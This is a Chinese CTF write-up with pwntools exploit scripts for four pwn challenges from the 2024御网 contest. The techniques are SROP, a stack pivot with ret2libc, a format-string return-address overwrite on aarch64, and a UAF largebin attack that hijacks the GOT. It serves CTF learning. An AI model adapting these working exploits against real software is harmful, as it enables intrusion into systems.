首页 > 其他分享 >2024御网线上Pwn方向题解

2024御网线上Pwn方向题解

时间:2024-11-01 21:22:24浏览次数:1  
标签:index p64 题解 2024 base io sendlineafter Pwn rax

ASM

Checksec检查保护

基本上保护都关闭了

64位ida逆向

程序只有一段,并且返回地址就是输入的数据,看起来就是srop了,找一下可以用的gadget

通过异或清空rax值,然后通过异或ecx和1,异或rax和rcx即可增加rax的值,同理左移一位同样可以增加rax的值,将rax增加到0xf然后打srop,程序还给出了/bin/sh

EXP:

1.from gt import *
2.
3.con("amd64")
4.
5.#io = process("./asm")
6.io = remote('101.200.58.4',10001)
7.#gdb.attach(io)
8.#pause()
9.sh = 0x40200A
10.syscall = 0x40102D
11.xor_rax = 0x000000000040103D  #xor     rax, rax
12.shl_rax = 0x0000000000401030  #shl     rax, 1
13.mov_ecx  = 0x0000000000401034 #: mov ecx, 1 ; xor rax, rcx ; ret
14.elf = ELF('./asm')
15.system =SigreturnFrame()
16.system.rax=0x3b
17.system.rdi=sh
18.system.rsi=0x0
19.system.rdx=0x0
20.system.rip=syscall
21.payload =p64(xor_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)
22.payload +=p64(syscall)+flat(system)
23.#gdb.attach(io)
24.io.sendline(payload)
25.io.interactive()

 

Ret

Checksec 检查保护

基本上也是啥都没有开

那么直接64位ida逆向

程序主要是播散时间种子,然后随机数取值在0-160之间,当大于等于144时候才会溢出到返回地址,因此进行栈迁移,同样控制了rbp就可以控制rdx

那样就可以一直溢出了,然后打ret2libc,当然随机数需要一点运气

EXP:

1.from gt import *
2.
3.con("amd64")
4.
5.#io = process("./ret")
6.io = remote("101.200.58.4",10004)
7.libc = ELF("./libc.so.6")
8.#gdb.attach(io)
9.
10.
11.def pwn():
12.    io.sendafter("ask?",'flag')
13.
14.    #gdb.attach(io)
15.    io.recvuntil("ok,")
16.    num = int(io.recv(3),10)
17.    print("---------------------------",num)
18.    if num <144:
19.        return
20.    io.recvuntil("number\n")
21.    #num = io.recv(3)
22.    #print(num)
23.    bss = 0x601280 + 0x300 
24.    lv = 0x400891
25.    read = 0x400876
26.    pop_rdi = 0x0000000000400923#: pop rdi; ret;
27.    puts_got = 0x601018
28.    puts_plt = 0x400600
29.    payload = b'a'*0x80 + p64(bss) + p64(read)
30.    #sleep(1)
31.    #gdb.attach(io)
32.    io.send(payload)
33.
34.
35.pwn()
36.pop_rdi = 0x0000000000400923#: pop rdi; ret;
37.puts_got = 0x601018
38.puts_plt = 0x400600
39.bss = 0x601280 + 0x300 
40.payload = b'a'*0x80 +p64(bss+4) + p64(0x400873)#p64(pop_rdi) + p64(puts_got) + p64(puts_plt) #+ p64()
41.io.send(payload)
42.ret = 0x6012a8
43.payload = b'a'*0x84 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x400876)
44.io.send(payload)
45.libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
46.suc("libc_base",libc_base)
47.pop_rsi = 0x0000000000400921#: pop rsi; pop r15; ret; 
48.system = libc_base + libc.sym["system"]
49.binsh = libc_base + next(libc.search("/bin/sh"))
50.payload = b'a'*(0xa4-8) + p64(pop_rdi+1)+p64(pop_rdi) + p64(binsh) + p64(pop_rsi)+p64(0)*2+ p64(system)
51.
52.io.send(payload)
53.io.interactive()

normal pwn

看名字就知道可能是异架构

Checksec 检查保护

Arrch架构,保护全开

Ida逆向一下

初看是一个堆题目

上来给了stderr地址,那么可以得到elf的基地址

 

Show函数没有格式化,存在格式化字符串漏洞

同样存在后门

那么思路很清晰通过格式化字符串泄露stack地址,然后再修改返回地址为后门

效果如下

EXP:

1.from gt import *
2.
3.con("aarch64")
4.
5.#io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./pfdata"])
6.#io =process("./pfdata")
7.io = remote("101.200.58.4",5555)
8.
9.elf = ELF("./pfdata")
10.io.recvuntil("stderr ")
11.base = int(io.recv(10),16) - 0x12128 
12.def add(index,size):
13.    io.sendlineafter("choice: ",'97')
14.    io.sendlineafter("index: ",str(index))
15.    io.sendlineafter("size: ",str(size))
16.
17.
18.def show(index):
19.    io.sendlineafter("choice: ",'115')
20.    io.sendlineafter("index: ",str(index))
21.
22.
23.
24.def edit(index,msg):
25.    io.sendlineafter("choice: ",'101')
26.    io.sendlineafter("index: ",str(index))
27.    io.sendafter("content: ",msg)
28.
29.
30.add(0,0x68)
31.edit(0,"%9$p")
32.show(0)
33.io.recvuntil("content: ")
34.elf_base = int(io.recv(12),16) -0xea0
35.suc("elf_base",elf_base)
36.backdoor = elf_base + 0xd40
37.edit(0,"%8$p")
38.show(0)
39.io.recvuntil("content: ")
40.ret =  int(io.recv(12),16) -0x18
41.payload = b"%"+str(ret&0xffff).encode("utf-8")+b"c%8$hn"
42.edit(0,payload)
43.show(0)
44.
45.payload = b"%"+str(backdoor&0xffff).encode("utf-8")+b"c%12$hn"
46.edit(0,payload)
47.show(0)
48.
49.io.interactive()

no fmtstr

Checkse检查保护

没有开pie和got全保护

64位ida逆向

 

是个堆题目,先把函数名改了

申请堆块有限制,大小在largebin范围内

Free函数存在UAF

存在后门

还有一点就是做了检查,导致不能伪造stderr等结构体

那么可以通过largebin泄露 libc和heap地址,然后通过largebin attack 修改 mp_结构体,那么就可以free chunk进入到tcachebin里面,然后劫持指针修改got表

这里发现从write 或者setbuf的got开始修改效果好一点,不然可能由于地址问题会报错,期间会覆盖system got表,注意不要覆盖了。

1.from gt import *
2.
3.con("amd64")
4.io = process("./fmt")
5.#io = remote("101.200.58.4",2222)
6.libc =ELF("./libc.so.6")
7.
8.
9.def add(index,size):
10.    io.sendlineafter(">","1")
11.    io.sendlineafter("Index: ",str(index))
12.    io.sendlineafter("Size: ",str(size))
13.
14.
15.
16.
17.def free(index):
18.    io.sendlineafter(">","2")
19.    io.sendlineafter("Index: ",str(index))
20.
21.
22.def edit(index,msg):
23.    io.sendlineafter(">","3")
24.    io.sendlineafter("Index: ",str(index))
25.    io.sendafter("Content: ",msg)
26.
27.
28.def show(index):
29.    io.sendlineafter(">","4")
30.    io.sendlineafter("Index: ",str(index))
31.
32.add(0,0x540) 
33.add(1,0x528)
34.add(2,0x530)
35.free(0)
36.add(3,0x550)
37.edit(0,'a')
38.#gdb.attach(io)
39.show(0)
40.io.recvuntil("Content: ")
41.libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x61 - 0x1f7100
42.suc("libc_base",libc_base)
43.stderr = libc_base + libc.sym["stderr"]
44.system = libc_base + libc.sym["system"]
45.mp_ = libc_base + 0x1F63B0
46.suc("mp_",mp_)
47.edit(0,b'a'*0x10)
48.show(0)
49.io.recvuntil("a"*0x10)
50.heap_base = u32(io.recv(4)) -0x290
51.suc("heap_base",heap_base)
52.
53.payload = p64(heap_base + 0x290)*2 + p64(libc_base + 0x1f7100) + p64(mp_ -1 -0x20)
54.edit(0,payload)
55.free(2)
56.add(4,0x560)
57.add(5,0x560)
58.add(6,0x560)
59.edit(5,'aaa')
60.edit(6,'bbb')
61.free(5)
62.free(6)
63.key = (heap_base + 0x2000) >> 0xc
64.backdoor = 0x4011D6
65.write = 0x404020
66.system = 0x4010A0 +6
67.edit(6,p64(write ^ key))
68.add(7,0x560)
69.add(8,0x560)
70.
71.edit(8,p64(system)*4+p64(backdoor))
72.#gdb.attach(io)
73.io.sendlineafter(">","4")
74.
75.io.interactive()

标签:index,p64,题解,2024,base,io,sendlineafter,Pwn,rax
From: https://www.cnblogs.com/CH13hh/p/18521272

相关文章

  • 2024年10月文章一览
    2024年10月编程人总共更新了21篇文章:1.2024年9月文章一览2.《ProgrammingfromtheGroundUp》阅读笔记:p147-p1803.《ProgrammingfromtheGroundUp》阅读笔记:p181-p2164.《ProgrammingfromtheGroundUp》阅读笔记:p217-p2385.《ProgrammingfromtheGroundUp》读后感......
  • OIFC未来共同体20241028noip模拟三
    T1状压\(dp\),两两之间有相同的位,那一位就为\(1\),否则就为\(0\),考虑哪些选法不合法,要在\(0\)的位上为\(1\),即只在\(1\)上选和不选都是不可以的,于是状压\(dp\)即可。#include<iostream>#defineintlonglongusingnamespacestd;inlineintread(){registerintx......
  • CSP2024 游记
    \(\texttt{Thisarticlewaswrittenbyxxxalq.}\)\(2024.8.26\)开学第一天。\(2024.8.28\)来自浙江杭州的一位优秀OI选手Jasonshan10远赴\(800\text{km}\)来到郑州,晚上他和我跟武思源一起吃了饭,我们仨第一次见面还是在去年的杭师大,转眼都过去一年多了,此方也早已成为......
  • 2024网鼎杯线上赛REVERSE02(超详细)
    进入主函数分析代码发现了四段加密,一层一层进行解密第一步:打开进入main函数,然后分析代码第一个加密对dest的八个字节做了乘2加密,密文是s2伪代码下看不全在汇编下看第二步:第二块数据进行了异或加密异或key是XorrLord,然后写脚本进行解密拿到了第一段和第二......
  • 2024-2025-1 20241310 《计算机基础与程序设计》第6周学习总结
    2024-2025-120241310《计算机基础与程序设计》第6周学习总结作业信息这个作业属于哪个课程[2024-2025-1-计算机基础与程序设计](https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP)这个作业要求在哪里2024-2025-1计算机基础与程序设计第一周作业这个作业的......
  • 20241030 训练记录
    [TJOI2012]桥删边最短路模板。只需求出对于每条边,不经过这条边的最短路就做完了。考虑不在原\(1\)到\(n\)最短路上的边,它们的答案就为原本的最短路。对于原本就在最短路上的边,既然删掉了这条边,那么新的最短路一定会经过另外一条边,设这条边为\((u,v,w)\),\(dis(u,v)\)表......
  • 20222325 2024-2025-1 《网络与系统攻防技术》实验四实验报告
    1.实验内容一、恶意代码文件类型标识、脱壳与字符串提取对提供的rada恶意代码样本,进行文件类型识别,脱壳与字符串提取,以获得rada恶意代码的编写作者,具体操作如下:(1)使用文件格式和类型识别工具,给出rada恶意代码样本的文件格式、运行平台和加壳工具;(2)使用超级巡警脱壳机等脱壳软件,......
  • CodeForces Dora and C++ (2007C) 题解
    CodeForcesDoraandC++(2007C)题解题意给一个数组\(c_{1...n}\),定义数组的\(range\)是最大值减最小值,即极差。给出两个值\(a\)和\(b\),每步操作中,可给数组中任一一个数增大\(a\)或增大\(b\)。问任意步操作后(可以是\(0\)步),极差的最小值。思路(要直接看答案可以跳......
  • 2024强网拟态
    当时做了两个题现在没环境了简单说一下capoo这个当时直接是读start.sh,解码出里面的flag文件名也可以直接读取ez_picker可以在注册页面进行污染首先先污染jwt的密钥注意进行jwt伪造的时候把时间戳改大一点然后上传的文件有白名单但是我们可以污染白名单做到命令执行污染......
  • 2024网鼎杯
    赛题名称:WEB02解题步骤(WriteUp)第一步:登录随便输入就能登陆第二步:测试登陆后简单试探发现可以xss但是测试发现不能出网我们没发把想要的内容弹到我们的服务器上第三步:改变思路编写脚本但是我们可以利用boss将想要的内容提交到我们所设置的模块里<!DOCTYPEhtml><html......